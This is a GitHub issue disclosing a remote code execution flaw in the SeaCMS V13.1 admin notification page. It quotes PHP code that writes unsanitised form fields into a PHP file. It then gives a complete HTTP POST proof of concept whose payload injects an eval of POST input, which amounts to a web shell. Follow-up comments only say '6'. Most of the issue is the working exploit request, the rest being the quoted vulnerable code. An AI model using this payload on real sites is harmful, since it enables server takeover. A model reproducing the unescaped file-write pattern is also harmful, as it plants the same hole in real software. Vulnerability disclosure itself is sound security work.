SeaCMS_V13.1_install_f/admin/admin_notify.php have a RCE

0kooo commented 3 months ago

Vulnerable file

if($action=="set")
{
    $notify1= $_POST['notify1'];
    $notify2= $_POST['notify2'];
    $notify3= $_POST['notify3'];
    $open=fopen("../data/admin/notify.php","w" );
    $str='<?php  ';
    $str.='$notify1 = "';
    $str.="$notify1";
    $str.='"; ';
    $str.='$notify2 = "';
    $str.="$notify2";
    $str.='"; ';
    $str.='$notify3 = "';
    $str.="$notify3";
    $str.='"; ';
    $str.=" ?>";
    fwrite($open,$str);
    fclose($open);
    ShowMsg("成功保存设置!","admin_notify.php");
    exit;
}

POC

POST /cxxqv7/admin_notify.php?action=set HTTP/1.1
Host: host
Content-Length: 68
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1722062988348; xinhu_ca_rempass=0; xinhu_mo_adminid=yy0nm0mjj0mjn0vy0mmj0vk0mmn0mjm0iq0mjz0mjz0iv0vi0iu0nv07; xinhu_ca_adminuser=rock; WS_ADMIN_URL=ws://demo.com/notice; WS_CHAT_URL=ws://demo.com/msg; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; PHPSESSID=ai3g0dn9ta148eftpns69215jd
Connection: keep-alive

notify1=%22%3B%40eval%28%24_POST%5B1%5D%29%3B%22&notify2=1&notify3=1

Access the location where the danger function is saved and exploited Snipaste_2024-08-08_10-59-08

ludada77 commented 3 months ago

6

lem0n817 commented 2 months ago

6

seacms-net / CMS

SeaCMS_V13.1_install_f/admin/admin_notify.php have a RCE #21

Vulnerable file